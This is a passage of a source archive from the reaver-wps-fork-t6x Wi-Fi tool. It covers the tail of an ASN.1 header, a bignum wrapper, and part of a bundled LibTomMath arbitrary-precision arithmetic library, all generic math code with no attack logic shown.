#define ASN1_TAG_INTEGER 0x02 #define ASN1_TAG_BITSTRING 0x03 #define ASN1_TAG_OCTETSTRING 0x04 #define ASN1_TAG_NULL 0x05 #define ASN1_TAG_OID 0x06 #define ASN1_TAG_OBJECT_DESCRIPTOR 0x07 /* not yet parsed */ #define ASN1_TAG_EXTERNAL 0x08 /* not yet parsed */ #define ASN1_TAG_REAL 0x09 /* not yet parsed */ #define ASN1_TAG_ENUMERATED 0x0A /* not yet parsed */ #define ASN1_TAG_UTF8STRING 0x0C /* not yet parsed */ #define ANS1_TAG_RELATIVE_OID 0x0D #define ASN1_TAG_SEQUENCE 0x10 /* shall be constructed */ #define ASN1_TAG_SET 0x11 #define ASN1_TAG_NUMERICSTRING 0x12 /* not yet parsed */ #define ASN1_TAG_PRINTABLESTRING 0x13 #define ASN1_TAG_TG1STRING 0x14 /* not yet parsed */ #define ASN1_TAG_VIDEOTEXSTRING 0x15 /* not yet parsed */ #define ASN1_TAG_IA5STRING 0x16 #define ASN1_TAG_UTCTIME 0x17 #define ASN1_TAG_GENERALIZEDTIME 0x18 /* not yet parsed */ #define ASN1_TAG_GRAPHICSTRING 0x19 /* not yet parsed */ #define ASN1_TAG_VISIBLESTRING 0x1A #define ASN1_TAG_GENERALSTRING 0x1B /* not yet parsed */ #define ASN1_TAG_UNIVERSALSTRING 0x1C /* not yet parsed */ #define ASN1_TAG_BMPSTRING 0x1D /* not yet parsed */ #define ASN1_CLASS_UNIVERSAL 0 #define ASN1_CLASS_APPLICATION 1 #define ASN1_CLASS_CONTEXT_SPECIFIC 2 #define ASN1_CLASS_PRIVATE 3 struct asn1_hdr { const u8 *payload; u8 identifier, class, constructed; unsigned int tag, length; }; #define ASN1_MAX_OID_LEN 20 struct asn1_oid { unsigned long oid[ASN1_MAX_OID_LEN]; size_t len; }; int asn1_get_next(const u8 *buf, size_t len, struct asn1_hdr *hdr); int asn1_parse_oid(const u8 *buf, size_t len, struct asn1_oid *oid); int asn1_get_oid(const u8 *buf, size_t len, struct asn1_oid *oid, const u8 **next); void asn1_oid_to_str(struct asn1_oid *oid, char *buf, size_t len); unsigned long asn1_bit_string_to_long(const u8 *buf, size_t len); #endif /* ASN1_H */ reaver-wps-fork-t6x-1.6.6/src/tls/bignum.c000077500000000000000000000131071363372615500203330ustar00rootroot00000000000000/* * Big number math * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "bignum.h" #ifdef CONFIG_INTERNAL_LIBTOMMATH #include "libtommath.c" #else /* CONFIG_INTERNAL_LIBTOMMATH */ #include #endif /* CONFIG_INTERNAL_LIBTOMMATH */ /* * The current version is just a wrapper for LibTomMath library, so * struct bignum is just typecast to mp_int. */ /** * bignum_init - Allocate memory for bignum * Returns: Pointer to allocated bignum or %NULL on failure */ struct bignum * bignum_init(void) { struct bignum *n = os_zalloc(sizeof(mp_int)); if (n == NULL) return NULL; if (mp_init((mp_int *) n) != MP_OKAY) { os_free(n); n = NULL; } return n; } /** * bignum_deinit - Free bignum * @n: Bignum from bignum_init() */ void bignum_deinit(struct bignum *n) { if (n) { mp_clear((mp_int *) n); os_free(n); } } /** * bignum_get_unsigned_bin - Get length of bignum as an unsigned binary buffer * @n: Bignum from bignum_init() * Returns: Length of n if written to a binary buffer */ size_t bignum_get_unsigned_bin_len(struct bignum *n) { return mp_unsigned_bin_size((mp_int *) n); } /** * bignum_get_unsigned_bin - Set binary buffer to unsigned bignum * @n: Bignum from bignum_init() * @buf: Buffer for the binary number * @len: Length of the buffer, can be %NULL if buffer is known to be long * enough. Set to used buffer length on success if not %NULL. * Returns: 0 on success, -1 on failure */ int bignum_get_unsigned_bin(const struct bignum *n, u8 *buf, size_t *len) { size_t need = mp_unsigned_bin_size((mp_int *) n); if (len && need > *len) { *len = need; return -1; } if (mp_to_unsigned_bin((mp_int *) n, buf) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } if (len) *len = need; return 0; } /** * bignum_set_unsigned_bin - Set bignum based on unsigned binary buffer * @n: Bignum from bignum_init(); to be set to the given value * @buf: Buffer with unsigned binary value * @len: Length of buf in octets * Returns: 0 on success, -1 on failure */ int bignum_set_unsigned_bin(struct bignum *n, const u8 *buf, size_t len) { if (mp_read_unsigned_bin((mp_int *) n, (u8 *) buf, len) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_cmp - Signed comparison * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * Returns: 0 on success, -1 on failure */ int bignum_cmp(const struct bignum *a, const struct bignum *b) { return mp_cmp((mp_int *) a, (mp_int *) b); } /** * bignum_cmd_d - Compare bignum to standard integer * @a: Bignum from bignum_init() * @b: Small integer * Returns: 0 on success, -1 on failure */ int bignum_cmp_d(const struct bignum *a, unsigned long b) { return mp_cmp_d((mp_int *) a, b); } /** * bignum_add - c = a + b * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * @c: Bignum from bignum_init(); used to store the result of a + b * Returns: 0 on success, -1 on failure */ int bignum_add(const struct bignum *a, const struct bignum *b, struct bignum *c) { if (mp_add((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_sub - c = a - b * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * @c: Bignum from bignum_init(); used to store the result of a - b * Returns: 0 on success, -1 on failure */ int bignum_sub(const struct bignum *a, const struct bignum *b, struct bignum *c) { if (mp_sub((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_mul - c = a * b * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * @c: Bignum from bignum_init(); used to store the result of a * b * Returns: 0 on success, -1 on failure */ int bignum_mul(const struct bignum *a, const struct bignum *b, struct bignum *c) { if (mp_mul((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_mulmod - d = a * b (mod c) * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * @c: Bignum from bignum_init(); modulus * @d: Bignum from bignum_init(); used to store the result of a * b (mod c) * Returns: 0 on success, -1 on failure */ int bignum_mulmod(const struct bignum *a, const struct bignum *b, const struct bignum *c, struct bignum *d) { if (mp_mulmod((mp_int *) a, (mp_int *) b, (mp_int *) c, (mp_int *) d) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_exptmod - Modular exponentiation: d = a^b (mod c) * @a: Bignum from bignum_init(); base * @b: Bignum from bignum_init(); exponent * @c: Bignum from bignum_init(); modulus * @d: Bignum from bignum_init(); used to store the result of a^b (mod c) * Returns: 0 on success, -1 on failure */ int bignum_exptmod(const struct bignum *a, const struct bignum *b, const struct bignum *c, struct bignum *d) { if (mp_exptmod((mp_int *) a, (mp_int *) b, (mp_int *) c, (mp_int *) d) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } reaver-wps-fork-t6x-1.6.6/src/tls/bignum.h000077500000000000000000000025331363372615500203410ustar00rootroot00000000000000/* * Big number math * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef BIGNUM_H #define BIGNUM_H struct bignum; struct bignum * bignum_init(void); void bignum_deinit(struct bignum *n); size_t bignum_get_unsigned_bin_len(struct bignum *n); int bignum_get_unsigned_bin(const struct bignum *n, u8 *buf, size_t *len); int bignum_set_unsigned_bin(struct bignum *n, const u8 *buf, size_t len); int bignum_cmp(const struct bignum *a, const struct bignum *b); int bignum_cmp_d(const struct bignum *a, unsigned long b); int bignum_add(const struct bignum *a, const struct bignum *b, struct bignum *c); int bignum_sub(const struct bignum *a, const struct bignum *b, struct bignum *c); int bignum_mul(const struct bignum *a, const struct bignum *b, struct bignum *c); int bignum_mulmod(const struct bignum *a, const struct bignum *b, const struct bignum *c, struct bignum *d); int bignum_exptmod(const struct bignum *a, const struct bignum *b, const struct bignum *c, struct bignum *d); #endif /* BIGNUM_H */ reaver-wps-fork-t6x-1.6.6/src/tls/libtommath.c000077500000000000000000002277101363372615500212210ustar00rootroot00000000000000/* * Minimal code for RSA support from LibTomMath 0.41 * http://libtom.org/ * http://libtom.org/files/ltm-0.41.tar.bz2 * This library was released in public domain by Tom St Denis. * * The combination in this file may not use all of the optimized algorithms * from LibTomMath and may be considerable slower than the LibTomMath with its * default settings. The main purpose of having this version here is to make it * easier to build bignum.c wrapper without having to install and build an * external library. * * If CONFIG_INTERNAL_LIBTOMMATH is defined, bignum.c includes this * libtommath.c file instead of using the external LibTomMath library. */ #ifndef CHAR_BIT #define CHAR_BIT 8 #endif #define BN_MP_INVMOD_C #define BN_S_MP_EXPTMOD_C /* Note: #undef in tommath_superclass.h; this would * require BN_MP_EXPTMOD_FAST_C instead */ #define BN_S_MP_MUL_DIGS_C #define BN_MP_INVMOD_SLOW_C #define BN_S_MP_SQR_C #define BN_S_MP_MUL_HIGH_DIGS_C /* Note: #undef in tommath_superclass.h; this * would require other than mp_reduce */ #ifdef LTM_FAST /* Use faster div at the cost of about 1 kB */ #define BN_MP_MUL_D_C /* Include faster exptmod (Montgomery) at the cost of about 2.5 kB in code */ #define BN_MP_EXPTMOD_FAST_C #define BN_MP_MONTGOMERY_SETUP_C #define BN_FAST_MP_MONTGOMERY_REDUCE_C #define BN_MP_MONTGOMERY_CALC_NORMALIZATION_C #define BN_MP_MUL_2_C /* Include faster sqr at the cost of about 0.5 kB in code */ #define BN_FAST_S_MP_SQR_C #else /* LTM_FAST */ #define BN_MP_DIV_SMALL #define BN_MP_INIT_MULTI_C #define BN_MP_CLEAR_MULTI_C #define BN_MP_ABS_C #endif /* LTM_FAST */ /* Current uses do not require support for negative exponent in exptmod, so we * can save about 1.5 kB in leaving out invmod. */ #define LTM_NO_NEG_EXP /* from tommath.h */ #ifndef MIN #define MIN(x,y) ((x)<(y)?(x):(y)) #endif #ifndef MAX #define MAX(x,y) ((x)>(y)?(x):(y)) #endif #define OPT_CAST(x) typedef unsigned long mp_digit; typedef u64 mp_word; #define DIGIT_BIT 28 #define MP_28BIT #define XMALLOC os_malloc #define XFREE os_free #define XREALLOC os_realloc #define MP_MASK ((((mp_digit)1)<<((mp_digit)DIGIT_BIT))-((mp_digit)1)) #define MP_LT -1 /* less than */ #define MP_EQ 0 /* equal to */ #define MP_GT 1 /* greater than */ #define MP_ZPOS 0 /* positive integer */ #define MP_NEG 1 /* negative */ #define MP_OKAY 0 /* ok result */ #define MP_MEM -2 /* out of mem */ #define MP_VAL -3 /* invalid input */ #define MP_YES 1 /* yes response */ #define MP_NO 0 /* no response */ typedef int mp_err; /* define this to use lower memory usage routines (exptmods mostly) */ #define MP_LOW_MEM /* default precision */ #ifndef MP_PREC #ifndef MP_LOW_MEM #define MP_PREC 32 /* default digits of precision */ #else #define MP_PREC 8 /* default digits of precision */ #endif #endif /* size of comba arrays, should be at least 2 * 2**(BITS_PER_WORD - BITS_PER_DIGIT*2) */ #define MP_WARRAY (1 << (sizeof(mp_word) * CHAR_BIT - 2 * DIGIT_BIT + 1)) /* the infamous mp_int structure */ typedef struct { int used, alloc, sign; mp_digit *dp; } mp_int; /* ---> Basic Manipulations <--- */ #define mp_iszero(a) (((a)->used == 0) ? MP_YES : MP_NO) #define mp_iseven(a) (((a)->used > 0 && (((a)->dp[0] & 1) == 0)) ? MP_YES : MP_NO) #define mp_isodd(a) (((a)->used > 0 && (((a)->dp[0] & 1) == 1)) ? MP_YES : MP_NO) /* prototypes for copied functions */ #define s_mp_mul(a, b, c) s_mp_mul_digs(a, b, c, (a)->used + (b)->used + 1) static int s_mp_exptmod(mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode); static int s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs); static int s_mp_sqr(mp_int * a, mp_int * b); static int s_mp_mul_high_digs(mp_int * a, mp_int * b, mp_int * c, int digs); static int fast_s_mp_mul_digs (mp_int * a, mp_int * b, mp_int * c, int digs); #ifdef BN_MP_INIT_MULTI_C static int mp_init_multi(mp_int *mp, ...); #endif #ifdef BN_MP_CLEAR_MULTI_C static void mp_clear_multi(mp_int *mp, ...); #endif static int mp_lshd(mp_int * a, int b); static void mp_set(mp_int * a, mp_digit b); static void mp_clamp(mp_int * a); static void mp_exch(mp_int * a, mp_int * b); static void mp_rshd(mp_int * a, int b); static void mp_zero(mp_int * a); static int mp_mod_2d(mp_int * a, int b, mp_int * c); static int mp_div_2d(mp_int * a, int b, mp_int * c, mp_int * d); static int mp_init_copy(mp_int * a, mp_int * b); static int mp_mul_2d(mp_int * a, int b, mp_int * c); #ifndef LTM_NO_NEG_EXP static int mp_div_2(mp_int * a, mp_int * b); static int mp_invmod(mp_int * a, mp_int * b, mp_int * c); static int mp_invmod_slow(mp_int * a, mp_int * b, mp_int * c); #endif /* LTM_NO_NEG_EXP */ static int mp_copy(mp_int * a, mp_int * b); static int mp_count_bits(mp_int * a); static int mp_div(mp_int * a, mp_int * b, mp_int * c, mp_int * d); static int mp_mod(mp_int * a, mp_int * b, mp_int * c); static int mp_grow(mp_int * a, int size); static int mp_cmp_mag(mp_int * a, mp_int * b); #ifdef BN_MP_ABS_C static int mp_abs(mp_int * a, mp_int * b); #endif static int mp_sqr(mp_int * a, mp_int * b); static int mp_reduce_2k_l(mp_int *a, mp_int *n, mp_int *d); static int mp_reduce_2k_setup_l(mp_int *a, mp_int *d); static int mp_2expt(mp_int * a, int b); static int mp_reduce_setup(mp_int * a, mp_int * b); static int mp_reduce(mp_int * x, mp_int * m, mp_int * mu); static int mp_init_size(mp_int * a, int size); #ifdef BN_MP_EXPTMOD_FAST_C static int mp_exptmod_fast (mp_int * G, mp_int * X, mp_int * P, mp_int * Y, int redmode); #endif /* BN_MP_EXPTMOD_FAST_C */ #ifdef BN_FAST_S_MP_SQR_C static int fast_s_mp_sqr (mp_int * a, mp_int * b); #endif /* BN_FAST_S_MP_SQR_C */ #ifdef BN_MP_MUL_D_C static int mp_mul_d (mp_int * a, mp_digit b, mp_int * c); #endif /* BN_MP_MUL_D_C */ /* functions from bn_.c */ /* reverse an array, used for radix code */ static void bn_reverse (unsigned char *s, int len) { int ix, iy; unsigned char t; ix = 0; iy = len - 1; while (ix < iy) { t = s[ix]; s[ix] = s[iy]; s[iy] = t; ++ix; --iy; } } /* low level addition, based on HAC pp.594, Algorithm 14.7 */ static int s_mp_add (mp_int * a, mp_int * b, mp_int * c) { mp_int *x; int olduse, res, min, max; /* find sizes, we let |a| <= |b| which means we have to sort * them. "x" will point to the input with the most digits */ if (a->used > b->used) { min = b->used; max = a->used; x = a; } else { min = a->used; max = b->used; x = b; } /* init result */ if (c->alloc < max + 1) { if ((res = mp_grow (c, max + 1)) != MP_OKAY) { return res; } } /* get old used digit count and set new one */ olduse = c->used; c->used = max + 1; { register mp_digit u, *tmpa, *tmpb, *tmpc; register int i; /* alias for digit pointers */ /* first input */ tmpa = a->dp; /* second input */ tmpb = b->dp; /* destination */ tmpc = c->dp; /* zero the carry */ u = 0; for (i = 0; i < min; i++) { /* Compute the sum at one digit, T[i] = A[i] + B[i] + U */ *tmpc = *tmpa++ + *tmpb++ + u; /* U = carry bit of T[i] */ u = *tmpc >> ((mp_digit)DIGIT_BIT); /* take away carry bit from T[i] */ *tmpc++ &= MP_MASK; } /* now copy higher words if any, that is in A+B * if A or B has more digits add those in */ if (min != max) { for (; i < max; i++) { /* T[i] = X[i] + U */ *tmpc = x->dp[i] + u; /* U = carry bit of T[i] */ u = *tmpc >> ((mp_digit)DIGIT_BIT); /* take away carry bit from T[i] */ *tmpc++ &= MP_MASK; } } /* add carry */ *tmpc++ = u; /* clear digits above oldused */ for (i = c->used; i < olduse; i++) { *tmpc++ = 0; } } mp_clamp (c); return MP_OKAY; } /* low level subtraction (assumes |a| > |b|), HAC pp.595 Algorithm 14.9 */ static int s_mp_sub (mp_int * a, mp_int * b, mp_int * c) { int olduse, res, min, max; /* find sizes */ min = b->used; max = a->used; /* init result */ if (c->alloc < max) { if ((res = mp_grow (c, max)) != MP_OKAY) { return res; } } olduse = c->used; c->used = max; { register mp_digit u, *tmpa, *tmpb, *tmpc; register int i; /* alias for digit pointers */ tmpa = a->dp; tmpb = b->dp; tmpc = c->dp; /* set carry to zero */ u = 0; for (i = 0; i < min; i++) { /* T[i] = A[i] - B[i] - U */ *tmpc = *tmpa++ - *tmpb++ - u; /* U = carry bit of T[i] * Note this saves performing an AND operation since * if a carry does occur it will propagate all the way to the * MSB. As a result a single shift is enough to get the carry */ u = *tmpc >> ((mp_digit)(CHAR_BIT * sizeof (mp_digit) - 1)); /* Clear carry from T[i] */ *tmpc++ &= MP_MASK; } /* now copy higher words if any, e.g. if A has more digits than B */ for (; i < max; i++) { /* T[i] = A[i] - U */ *tmpc = *tmpa++ - u; /* U = carry bit of T[i] */ u = *tmpc >> ((mp_digit)(CHAR_BIT * sizeof (mp_digit) - 1)); /* Clear carry from T[i] */ *tmpc++ &= MP_MASK; } /* clear digits above used (since we may not have grown result above) */ for (i = c->used; i < olduse; i++) { *tmpc++ = 0; } } mp_clamp (c); return MP_OKAY; } /* init a new mp_int */ static int mp_init (mp_int * a) { int i; /* allocate memory required and clear it */ a->dp = OPT_CAST(mp_digit) XMALLOC (sizeof (mp_digit) * MP_PREC); if (a->dp == NULL) { return MP_MEM; } /* set the digits to zero */ for (i = 0; i < MP_PREC; i++) { a->dp[i] = 0; } /* set the used to zero, allocated digits to the default precision * and sign to positive */ a->used = 0; a->alloc = MP_PREC; a->sign = MP_ZPOS; return MP_OKAY; } /* clear one (frees) */ static void mp_clear (mp_int * a) { int i; /* only do anything if a hasn't been freed previously */ if (a->dp != NULL) { /* first zero the digits */ for (i = 0; i < a->used; i++) { a->dp[i] = 0; } /* free ram */ XFREE(a->dp); /* reset members to make debugging easier */ a->dp = NULL; a->alloc = a->used = 0; a->sign = MP_ZPOS; } } /* high level addition (handles signs) */ static int mp_add (mp_int * a, mp_int * b, mp_int * c) { int sa, sb, res; /* get sign of both inputs */ sa = a->sign; sb = b->sign; /* handle two cases, not four */ if (sa == sb) { /* both positive or both negative */ /* add their magnitudes, copy the sign */ c->sign = sa; res = s_mp_add (a, b, c); } else { /* one positive, the other negative */ /* subtract the one with the greater magnitude from */ /* the one of the lesser magnitude. The result gets */ /* the sign of the one with the greater magnitude. */ if (mp_cmp_mag (a, b) == MP_LT) { c->sign = sb; res = s_mp_sub (b, a, c); } else { c->sign = sa; res = s_mp_sub (a, b, c); } } return res; } /* high level subtraction (handles signs) */ static int mp_sub (mp_int * a, mp_int * b, mp_int * c) { int sa, sb, res; sa = a->sign; sb = b->sign; if (sa != sb) { /* subtract a negative from a positive, OR */ /* subtract a positive from a negative. */ /* In either case, ADD their magnitudes, */ /* and use the sign of the first number. */ c->sign = sa; res = s_mp_add (a, b, c); } else { /* subtract a positive from a positive, OR */ /* subtract a negative from a negative. */ /* First, take the difference between their */ /* magnitudes, then... */ if (mp_cmp_mag (a, b) != MP_LT) { /* Copy the sign from the first */ c->sign = sa; /* The first has a larger or equal magnitude */ res = s_mp_sub (a, b, c); } else { /* The result has the *opposite* sign from */ /* the first number. */ c->sign = (sa == MP_ZPOS) ? MP_NEG : MP_ZPOS; /* The second has a larger magnitude */ res = s_mp_sub (b, a, c); } } return res; } /* high level multiplication (handles sign) */ static int mp_mul (mp_int * a, mp_int * b, mp_int * c) { int res, neg; neg = (a->sign == b->sign) ? MP_ZPOS : MP_NEG; /* use Toom-Cook? */ #ifdef BN_MP_TOOM_MUL_C if (MIN (a->used, b->used) >= TOOM_MUL_CUTOFF) { res = mp_toom_mul(a, b, c); } else #endif #ifdef BN_MP_KARATSUBA_MUL_C /* use Karatsuba? */ if (MIN (a->used, b->used) >= KARATSUBA_MUL_CUTOFF) { res = mp_karatsuba_mul (a, b, c); } else #endif { /* can we use the fast multiplier? * * The fast multiplier can be used if the output will * have less than MP_WARRAY digits and the number of * digits won't affect carry propagation */ #ifdef BN_FAST_S_MP_MUL_DIGS_C int digs = a->used + b->used + 1; if ((digs < MP_WARRAY) && MIN(a->used, b->used) <= (1 << ((CHAR_BIT * sizeof (mp_word)) - (2 * DIGIT_BIT)))) { res = fast_s_mp_mul_digs (a, b, c, digs); } else #endif #ifdef BN_S_MP_MUL_DIGS_C res = s_mp_mul (a, b, c); /* uses s_mp_mul_digs */ #else #error mp_mul could fail res = MP_VAL; #endif } c->sign = (c->used > 0) ? neg : MP_ZPOS; return res; } /* d = a * b (mod c) */ static int mp_mulmod (mp_int * a, mp_int * b, mp_int * c, mp_int * d) { int res; mp_int t; if ((res = mp_init (&t)) != MP_OKAY) { return res; } if ((res = mp_mul (a, b, &t)) != MP_OKAY) { mp_clear (&t); return res; } res = mp_mod (&t, c, d); mp_clear (&t); return res; } /* c = a mod b, 0 <= c < b */ static int mp_mod (mp_int * a, mp_int * b, mp_int * c) { mp_int t; int res; if ((res = mp_init (&t)) != MP_OKAY) { return res; } if ((res = mp_div (a, b, NULL, &t)) != MP_OKAY) { mp_clear (&t); return res; } if (t.sign != b->sign) { res = mp_add (b, &t, c); } else { res = MP_OKAY; mp_exch (&t, c); } mp_clear (&t); return res; } /* this is a shell function that calls either the normal or Montgomery * exptmod functions. Originally the call to the montgomery code was * embedded in the normal function but that wasted alot of stack space * for nothing (since 99% of the time the Montgomery code would be called) */ static int mp_exptmod (mp_int * G, mp_int * X, mp_int * P, mp_int * Y) { int dr; /* modulus P must be positive */ if (P->sign == MP_NEG) { return MP_VAL; } /* if exponent X is negative we have to recurse */ if (X->sign == MP_NEG) { #ifdef LTM_NO_NEG_EXP return MP_VAL; #else /* LTM_NO_NEG_EXP */ #ifdef BN_MP_INVMOD_C mp_int tmpG, tmpX; int err; /* first compute 1/G mod P */ if ((err = mp_init(&tmpG)) != MP_OKAY) { return err; } if ((err = mp_invmod(G, P, &tmpG)) != MP_OKAY) { mp_clear(&tmpG); return err; } /* now get |X| */ if ((err = mp_init(&tmpX)) != MP_OKAY) { mp_clear(&tmpG); return err; } if ((err = mp_abs(X, &tmpX)) != MP_OKAY) { mp_clear_multi(&tmpG, &tmpX, NULL); return err; } /* and now compute (1/G)**|X| instead of G**X [X < 0] */ err = mp_exptmod(&tmpG, &tmpX, P, Y); mp_clear_multi(&tmpG, &tmpX, NULL); return err; #else #error mp_exptmod would always fail /* no invmod */ return MP_VAL; #endif #endif /* LTM_NO_NEG_EXP */ } /* modified diminished radix reduction */ #if defined(BN_MP_REDUCE_IS_2K_L_C) && defined(BN_MP_REDUCE_2K_L_C) && defined(BN_S_MP_EXPTMOD_C) if (mp_reduce_is_2k_l(P) == MP_YES) { return s_mp_exptmod(G, X, P, Y, 1); } #endif #ifdef BN_MP_DR_IS_MODULUS_C /* is it a DR modulus? */ dr = mp_dr_is_modulus(P); #else /* default to no */ dr = 0; #endif #ifdef BN_MP_REDUCE_IS_2K_C /* if not, is it a unrestricted DR modulus? */ if (dr == 0) { dr = mp_reduce_is_2k(P) << 1; } #endif /* if the modulus is odd or dr != 0 use the montgomery method */ #ifdef BN_MP_EXPTMOD_FAST_C if (mp_isodd (P) == 1 || dr != 0) { return mp_exptmod_fast (G, X, P, Y, dr); } else { #endif #ifdef BN_S_MP_EXPTMOD_C /* otherwise use the generic Barrett reduction technique */ return s_mp_exptmod (G, X, P, Y, 0); #else #error mp_exptmod could fail /* no exptmod for evens */ return MP_VAL; #endif #ifdef BN_MP_EXPTMOD_FAST_C } #endif } /* compare two ints (signed)*/ static int mp_cmp (mp_int * a, mp_int * b) { /* compare based on sign */ if (a->sign != b->sign) { if (a->sign == MP_NEG) { return MP_LT; } else { return MP_GT; } } /* compare digits */ if (a->sign == MP_NEG) { /* if negative compare opposite direction */ return mp_cmp_mag(b, a); } else { return mp_cmp_mag(a, b); } } /* compare a digit */ static int mp_cmp_d(mp_int * a, mp_digit b) { /* compare based on sign */ if (a->sign == MP_NEG) { return MP_LT; } /* compare based on magnitude */ if (a->used > 1) { return MP_GT; } /* compare the only digit of a to b */ if (a->dp[0] > b) { return MP_GT; } else if (a->dp[0] < b) { return MP_LT; } else { return MP_EQ; } } #ifndef LTM_NO_NEG_EXP /* hac 14.61, pp608 */ static int mp_invmod (mp_int * a, mp_int * b, mp_int * c) { /* b cannot be negative */ if (b->sign == MP_NEG || mp_iszero(b) == 1) { return MP_VAL; } #ifdef BN_FAST_MP_INVMOD_C /* if the modulus is odd we can use a faster routine instead */ if (mp_isodd (b) == 1) { return fast_mp_invmod (a, b, c); } #endif #ifdef BN_MP_INVMOD_SLOW_C return mp_invmod_slow(a, b, c); #endif #ifndef BN_FAST_MP_INVMOD_C #ifndef BN_MP_INVMOD_SLOW_C #error mp_invmod would always fail #endif #endif return MP_VAL; } #endif /* LTM_NO_NEG_EXP */ /* get the size for an unsigned equivalent */ static int mp_unsigned_bin_size (mp_int * a) { int size = mp_count_bits (a); return (size / 8 + ((size & 7) != 0 ? 1 : 0)); } #ifndef LTM_NO_NEG_EXP /* hac 14.61, pp608 */ static int mp_invmod_slow (mp_int * a, mp_int * b, mp_int * c) { mp_int x, y, u, v, A, B, C, D; int res; /* b cannot be negative */ if (b->sign == MP_NEG || mp_iszero(b) == 1) { return MP_VAL; } /* init temps */ if ((res = mp_init_multi(&x, &y, &u, &v, &A, &B, &C, &D, NULL)) != MP_OKAY) { return res; } /* x = a, y = b */ if ((res = mp_mod(a, b, &x)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_copy (b, &y)) != MP_OKAY) { goto LBL_ERR; } /* 2. [modified] if x,y are both even then return an error! */ if (mp_iseven (&x) == 1 && mp_iseven (&y) == 1) { res = MP_VAL; goto LBL_ERR; } /* 3. u=x, v=y, A=1, B=0, C=0,D=1 */ if ((res = mp_copy (&x, &u)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_copy (&y, &v)) != MP_OKAY) { goto LBL_ERR; } mp_set (&A, 1); mp_set (&D, 1); top: /* 4. while u is even do */ while (mp_iseven (&u) == 1) { /* 4.1 u = u/2 */ if ((res = mp_div_2 (&u, &u)) != MP_OKAY) { goto LBL_ERR; } /* 4.2 if A or B is odd then */ if (mp_isodd (&A) == 1 || mp_isodd (&B) == 1) { /* A = (A+y)/2, B = (B-x)/2 */ if ((res = mp_add (&A, &y, &A)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&B, &x, &B)) != MP_OKAY) { goto LBL_ERR; } } /* A = A/2, B = B/2 */ if ((res = mp_div_2 (&A, &A)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_div_2 (&B, &B)) != MP_OKAY) { goto LBL_ERR; } } /* 5. while v is even do */ while (mp_iseven (&v) == 1) { /* 5.1 v = v/2 */ if ((res = mp_div_2 (&v, &v)) != MP_OKAY) { goto LBL_ERR; } /* 5.2 if C or D is odd then */ if (mp_isodd (&C) == 1 || mp_isodd (&D) == 1) { /* C = (C+y)/2, D = (D-x)/2 */ if ((res = mp_add (&C, &y, &C)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&D, &x, &D)) != MP_OKAY) { goto LBL_ERR; } } /* C = C/2, D = D/2 */ if ((res = mp_div_2 (&C, &C)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_div_2 (&D, &D)) != MP_OKAY) { goto LBL_ERR; } } /* 6. if u >= v then */ if (mp_cmp (&u, &v) != MP_LT) { /* u = u - v, A = A - C, B = B - D */ if ((res = mp_sub (&u, &v, &u)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&A, &C, &A)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&B, &D, &B)) != MP_OKAY) { goto LBL_ERR; } } else { /* v - v - u, C = C - A, D = D - B */ if ((res = mp_sub (&v, &u, &v)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&C, &A, &C)) != MP_OKAY) { goto LBL_ERR; } if ((res = mp_sub (&D, &B, &D)) != MP_OKAY) { goto LBL_ERR; } } /* if not zero goto step 4 */ if (mp_iszero (&u) == 0) goto top; /* now a = C, b = D, gcd == g*v */ /* if v != 1 then there is no inverse */ if (mp_cmp_d (&v, 1) != MP_EQ) { res = MP_VAL; goto LBL_ERR; } /* if its too low */ while (mp_cmp_d(&C, 0) == MP_LT) { if ((res = mp_add(&C, b, &C)) != MP_OKAY) { goto LBL_ERR; } } /* too big */ while (mp_cmp_mag(&C, b) != MP_LT) { if ((res = mp_sub(&C, b, &C)) != MP_OKAY) { goto LBL_ERR; } } /* C is now the inverse */ mp_exch (&C, c); res = MP_OKAY; LBL_ERR:mp_clear_multi (&x, &y, &u, &v, &A, &B, &C, &D, NULL); return res; } #endif /* LTM_NO_NEG_EXP */ /* compare maginitude of two ints (unsigned) */ static int mp_cmp_mag (mp_int * a, mp_int * b) { int n; mp_digit *tmpa, *tmpb; /* compare based on # of non-zero digits */ if (a->used > b->used) { return MP_GT; } if (a->used < b->used) { return MP_LT; } /* alias for a */ tmpa = a->dp + (a->used - 1); /* alias for b */ tmpb = b->dp + (a->used - 1); /* compare based on digits */ for (n = 0; n < a->used; ++n, --tmpa, --tmpb) { if (*tmpa > 